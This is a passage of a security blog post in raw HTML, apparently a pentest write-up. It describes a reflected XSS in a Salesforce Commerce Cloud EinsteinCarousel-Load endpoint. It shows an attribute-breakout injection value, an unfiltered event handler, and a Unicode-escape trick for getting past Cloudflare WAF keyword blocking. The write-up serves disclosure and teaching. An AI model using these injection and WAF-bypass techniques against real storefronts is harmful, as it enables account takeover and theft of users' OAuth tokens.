PageSourceSearch

https://castilho.onrender.com/salesforce-oauth-ato

html castilho.onrender.com collected 2026-10-03 11:39:29 UTC 60,729 bytes, 175 lines download raw bytes

1<!doctype html>
2<html lang="en" class="scroll-smooth">
3  <head>
4    <meta charset="UTF-8" />
5    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
7    <link
8      rel="alternate"
9      type="application/rss+xml"
10      title="castilho blog RSS"
11      href="/rss.xml"
12    />
13
14    <!-- Keep the original Geist + Geist Mono typography used by the Next.js version -->
15    <link rel="preconnect" href="https://fonts.googleapis.com" />
16    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
17    <link
18      href="https://fonts.googleapis.com/css2?family=Geist:[email protected]&family=Geist+Mono:[email protected]&display=swap"
19      rel="stylesheet"
20    />
21    
21<script type="module" crossorigin src="/assets/index-D4d0E7rh.js"></script>
21
22    <link rel="stylesheet" crossorigin href="/assets/index-RRw5Udk7.css">
23      <title>Stealing Salesforce OAuth Tokens using the WAF | castilho blog</title>
24    <link rel="canonical" href="https://castilho.sh/salesforce-oauth-ato" />
25    <meta name="description" content="Recently I was conducting a pentest on a Salesforce instance when I stumbled upon an XSS vulnerability. This writeup details that vulnerability and how  ..." />
26    <meta name="robots" content="index, follow" />
27    <meta property="og:site_name" content="castilho blog" />
28    <meta property="og:type" content="article" />
29    <meta property="og:url" content="https://castilho.sh/salesforce-oauth-ato" />
30    <meta property="og:title" content="Stealing Salesforce OAuth Tokens using the WAF | castilho blog" />
31    <meta property="og:description" content="Recently I was conducting a pentest on a Salesforce instance when I stumbled upon an XSS vulnerability. This writeup details that vulnerability and how  ..." />
32    <meta property="og:image" content="https://castilho.sh/banner.jpg" />
33    <meta name="twitter:card" content="summary_large_image" />
34    <meta name="twitter:title" content="Stealing Salesforce OAuth Tokens using the WAF | castilho blog" />
35    <meta name="twitter:description" content="Recently I was conducting a pentest on a Salesforce instance when I stumbled upon an XSS vulnerability. This writeup details that vulnerability and how  ..." />
36    <meta name="twitter:image" content="https://castilho.sh/banner.jpg" />
37  </head>
38  <body class="antialiased">
39    <div id="root">
39<script>((e, i, s, u, m, a, l, h) => {
40  let d = document.documentElement, w = ["light", "dark"];
41  function p(n) {
42    (Array.isArray(e) ? e : [e]).forEach((y) => {
43      let k = y === "class", S = k && a ? m.map((f) => a[f] || f) : m;
44      k ? (d.classList.remove(...S), d.classList.add(a && a[n] ? a[n] : n)) : d.setAttribute(y, n);
45    }), R(n);
46  }
47  function R(n) {
48    h && w.includes(n) && (d.style.colorScheme = n);
49  }
50  function c() {
51    return window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
52  }
53  if (u)
54    p(u);
55  else
56    try {
57      let n = localStorage.getItem(i) || s, y = l && n === "system" ? c() : n;
58      p(y);
59    } catch (n) {}
60})("class","theme","system",null,["light","dark"],null,true,true)</script>
60<!--$--><main class="relative"><div class="relative min-h-screen w-full bg-white bg-dot-black/[0.3] dark:bg-black dark:bg-dot-white/[0.3]"><div aria-hidden="true" class="page-background-corner-fade pointer-events-none absolute inset-0"></div><div class="relative min-h-screen w-full px-[5%] font-[family-name:var(--font-geist-mono)] lg:px-[15%]"><nav class="bg-transparent px-4 py-3" aria-label="Primary navigation"><div class="flex items-center justify-between mt-[1.25rem]"><div class="flex-shrink-0"><a aria-label="Castilho blog home" href="/" data-discover="true"><picture><source type="image/avif" srcSet="/optimized-images/eu.7870152810.320w.avif 320w, /optimized-images/eu.7870152810.400w.avif 400w" sizes="3.125rem"/><source type="image/webp" srcSet="/optimized-images/eu.7870152810.320w.webp 320w, /optimized-images/eu.7870152810.400w.webp 400w" sizes="3.125rem"/><img src="/eu.jpg" alt="Rafael Castilho" width="50" height="50" loading="eager" decoding="async" fetchPriority="high" sizes="3.125rem" style="aspect-ratio:400 / 400;width:3.125rem;height:3.125rem;max-width:100%" class="rounded-full cursor-pointer"/></picture></a></div><div class="hidden md:flex items-center space-x-4"><div class="font-[family-name:var(--font-geist-mono)] text-sm"><a href="/about" data-discover="true">About</a></div><div data-orientation="vertical" role="none" class="shrink-0 bg-border w-[1px] h-6"></div><div class="flex items-center font-[family-name:var(--font-geist-mono)] text-sm"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 448 512" class="text-red-700 font-bold" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z"></path></svg><a class="ml-1" href="/cves" data-discover="true">CVEs</a></div><div data-orientation="vertical" role="none" class="shrink-0 bg-border w-[1px] h-6"></div><div class="flex items-center space-x-2"><a href="https://twitter.com/castilho101" target="_blank" rel="noopener noreferrer" aria-label="Rafael Castilho on X"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"></path></svg></a><a href="https://github.com/castilho101" target="_blank" rel="noopener noreferrer" aria-label="Rafael Castilho on GitHub"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 496 512" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"></path></svg></a><a href="mailto:[email protected]" aria-label="Email Rafael Castilho"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 24 24" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path fill="none" d="M0 0h24v24H0z"></path><path d="M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 4.99L4 6zm0 12H4V8l8 5 8-5z"></path></svg></a></div><div data-orientation="vertical" role="none" class="shrink-0 bg-border w-[1px] h-6"></div><button type="button" class="flex items-center space-x-1 font-[family-name:var
60(--font-geist-mono)] text-sm cursor-pointer" aria-label="Switch to dark theme"><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"></path></svg></button></div><div class="flex items-center md:hidden space-x-2"><div class="flex items-center space-x-2"><a href="https://twitter.com/castilho101" target="_blank" rel="noopener noreferrer" aria-label="Rafael Castilho on X"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"></path></svg></a><a href="https://github.com/castilho101" target="_blank" rel="noopener noreferrer" aria-label="Rafael Castilho on GitHub"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 496 512" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"></path></svg></a><a href="mailto:[email protected]" aria-label="Email Rafael Castilho"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 24 24" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path fill="none" d="M0 0h24v24H0z"></path><path d="M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 4.99L4 6zm0 12H4V8l8 5 8-5z"></path></svg></a><button type="button" class="flex items-center space-x-1 font-[family-name:var(--font-geist-mono)] text-sm cursor-pointer" aria-label="Switch to dark theme"><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"></path></svg></button></div><button type="button" aria-label="Toggle menu" aria-expanded="false" aria-controls="mobile-navigation"><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" class="h-5 w-6" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg></button></div></div></nav><div class="border border-black/[0.2] dark:border-white/[0.2] flex flex-col items-start relative mt-[3.125rem] border-none text-sm pt-[2.5rem] pb-[2.5rem] mb-[2.5rem] pl-0 md:pl-[3.75rem] rounded-lg bg-transparent"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="absolute h-6 w-6 -top-3 -left-3 dark:text-white text-black"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v12m6-6H6"></path></svg><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="absolute h-6 w-6 -bottom-3 -left-3 dark:text-white text-black"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v12m6-6H6"></path></svg><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="absolute h-6 w-6 -top-3 -right-3 dark:text-white text-black"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v12m6-6H6"></path></svg><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="absolute h-6 w-6 -bottom-3 -right-3 dark:text-white text-black"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v12m6-6H6"></path></svg><div class="w-full grid grid-cols-1 min-[1120px]:grid-cols-[1fr_18.75rem] gap-8"><div class="min-w-0"><div class="flex items-center border-l-4 border-red-700 pl-[0.625rem] mb-[0.625rem]"><h1 class="text-3xl font-semibold"><b>Stealing Salesforce OAuth Tokens using the WAF</b></h1></div><div class="flex flex-wrap items-center gap-x-2 text-xs text-muted-foreground mb-[1.875rem]"><time dateTime="2025-12-01">December 1, 2025</time><span aria-hidden="true">·</span><span>6<!-- --> min read</span></div>
61<div>
61<p class="text-justify">Recently, while running a pentest on a Salesforce instance, I found an XSS vulnerability. This post breaks down the bug and how I escalated it to steal OAuth tokens by leveraging the Cloudflare WAF as a gadget. Due to an NDA, let&#x27;s call the target <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>redacted.com</strong></code>. Let&#x27;s dive in.</p><br/></div>
62<h2 id="xss-and-sfra-context" class="text-2xl font-semibold mt-6 mb-3 text-black dark:text-white"><b>XSS and SFRA Context</b></h2>
63<div><p class="text-justify">Salesforce Commerce Cloud provides a mature security baseline, so vulnerabilities often hide in merchant customizations specifically, custom templates or components. In this case, the endpoint renders a specific component based on a configuration provided via request parameters.</p><br/></div>
64<div><p class="text-justify">A prime example is the SFRA (Storefront Reference Architecture) controller <a href="https://salesforcecommercecloud.github.io/b2c-dev-doc/docs/current/sfrajsdoc/js/server/EinsteinCarousel.html" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>EinsteinCarousel-Load</strong></a>. This controller allows the storefront to dynamically load recommended products for a carousel section and expects two parameters:</p><br/></div>
65<ul class="ml-6 list-disc"><li><strong>limit </strong> - A number representing the maximum count of recommendations to display in the carousel.</li><li><strong>components </strong> - A JSON-encoded array of component config objects that define how the carousel is rendered.</li></ul>
66<br/>
67<div><p class="text-justify">Since the <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>components</strong></code> parameter directly controls the rendering output, it becomes a potential injection point if an attacker can tamper with it. Digging through my Caido history, I found requests using this controller that looked like this:</p><br/></div>
68<ul class="ml-6 list-disc">
69<li>
70<div><p class="text-justify"><strong>Endpoint</strong> - <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>GET /on/demandware.store/Sites-Redacted-Site/en/EinsteinCarousel-Load?components=</strong></code></p><br/></div>
71</li>
72<li>
73<div><p class="text-justify"><strong>Parameter <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>components</strong></code> value:</strong></p><br/></div>
74<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-json"><span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">[{ </span><span style="color:#005CC5;--shiki-dark:#79B8FF">&quot;template&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;product/productTileCarouselSlide&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">, </span><span style="color:#005CC5;--shiki-dark:#79B8FF">&quot;mainColor&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;#000001&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">, </span><span style="color:#005CC5;--shiki-dark:#79B8FF">&quot;model&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:{ </span><span style="color:#005CC5;--shiki-dark:#79B8FF">&quot;type&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;product&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">, </span><span style="color:#005CC5;--shiki-dark:#79B8FF">&quot;id&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">:</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;7919757&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> } }]</span></span></code></pre>
75</li>
76</ul>
77<div><p class="text-justify">The server renders this into the HTML as follows:</p><br/></div>
78<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-typescript"><span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">&lt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">button data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">
78border</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;1px solid </span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">#000001</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">background</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">#000001</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> class</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;w-btn w-quantity-btn w-increase-quantity-btn&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> @click</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;updateQuantity&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> :disabled</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> aria</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">label</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;Increase&quot;</span><span style="color:#D73A49;--shiki-dark:#F97583">&gt;</span></span></code></pre>
79<br/>
80<div><p class="text-justify">By playing around with the <strong>key</strong> <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>mainColor</strong></code>, we can see our input reflected in the rendered HTML as an attribute value inside a <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>button</strong></code> tag. I confirmed that we could break out of the attribute context by changing it to <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>#000001&#x27; x=x y=&#x27;</strong></code>:</p><br/></div>
81<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-typescript"><span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">&lt;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">button data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">border</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;1px solid </span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">#000001&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word"> x</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word">x y</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> data</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">background</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">#000001&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word"> x</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#24292E;--shiki-dark:#E1E4E8" class="highlighted-word">x y</span><span style="color:#D73A49;--shiki-dark:#F97583" class="highlighted-word">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF" class="highlighted-word">&#x27;</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> class</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;w-btn w-quantity-btn w-increase-quantity-btn&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> @click</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;updateQuantity&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> :disabled</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached&quot;</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> aria</span><span style="color:#D73A49;--shiki-dark:#F97583">-</span><span style="color:#24292E;--shiki-dark:#E1E4E8">label</span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&quot;Increase&quot;</span><span style="color:#D73A49;--shiki-dark:#F97583">&gt;</span></span></code></pre>
82<br/>
83<div>
83<p class="text-justify">From here, it&#x27;s about crafting a payload that escapes the attribute context to execute JavaScript. However, we are stuck inside the <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>button</strong></code> tag, and the Cloudflare WAF was blocking many common patterns. This meant I had to find specific attributes that weren&#x27;t filtered and could be utilized from within the existing tag. A great resource for such payloads is the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>PortSwigger XSS Cheat Sheet</strong></a>.</p><br/></div>
84<div><p class="text-justify">After testing a bit, I found that <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>oncontentvisibilityautostatechange</strong></code> was viable, though I was still constrained by WAF filtering. The WAF blocked keywords like <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>focus</strong></code> and <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>style</strong></code> essential parts of the few usable patterns for this event. However, I managed to bypass the filter by using <strong>Unicode</strong> escape (e.g., <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>\u0073</strong></code> for <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>s</strong></code>). This works because the backend processes the input via <code class="bg-[#e8e8e8] dark:bg-[#1f1f1f]"><strong>JSON.parse()</strong></code>, as seen in the controller <a href="https://salesforcecommercecloud.github.io/b2c-dev-doc/docs/current/sfrajsdoc/js/server/app_storefront_base_cartridge_controllers_EinsteinCarousel.js.html" class="border-b-2 border-red-700" target="_blank" rel="noopener noreferrer"><strong>code</strong></a>:</p><br/></div>
85<pre class="shiki shiki-themes github-light github-dark" style="background-color:#fff;--shiki-dark-bg:#24292e;color:#24292e;--shiki-dark:#e1e4e8" tabindex="0"><code class="language-javascript"><span class="line"><span style="color:#6A737D;--shiki-dark:#6A737D">// app_storefront_base/cartridge/controllers/EinsteinCarousel.js:25</span></span>
86<span class="line"><span style="color:#24292E;--shiki-dark:#E1E4E8">    server.</span><span style="color:#6F42C1;--shiki-dark:#B392F0">get</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;Load&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">, </span><span style="color:#D73A49;--shiki-dark:#F97583">function</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="color:#E36209;--shiki-dark:#FFAB70">req</span><span style="color:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
87<span class="line"></span>
88<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">        var</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> newFactory </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> require</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;*/cartridge/scripts/factories/product&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
89<span class="line"><span style="color:#D73A49;--shiki-dark:#F97583">        var</span><span style="color:#24292E;--shiki-dark:#E1E4E8"> URLUtils </span><span style="color:#D73A49;--shiki-dark:#F97583">=</span><span style="color:#6F42C1;--shiki-dark:#B392F0"> require</span><span style="color:#24292E;--shiki-dark:#E1E4E8">(</span><span style="color:#032F62;--shiki-dark:#9ECBFF">&#x27;dw/web/URLUtils&#x27;</span><span style="color:#24292E;--shiki-dark:#E1E4E8">);</span></span>
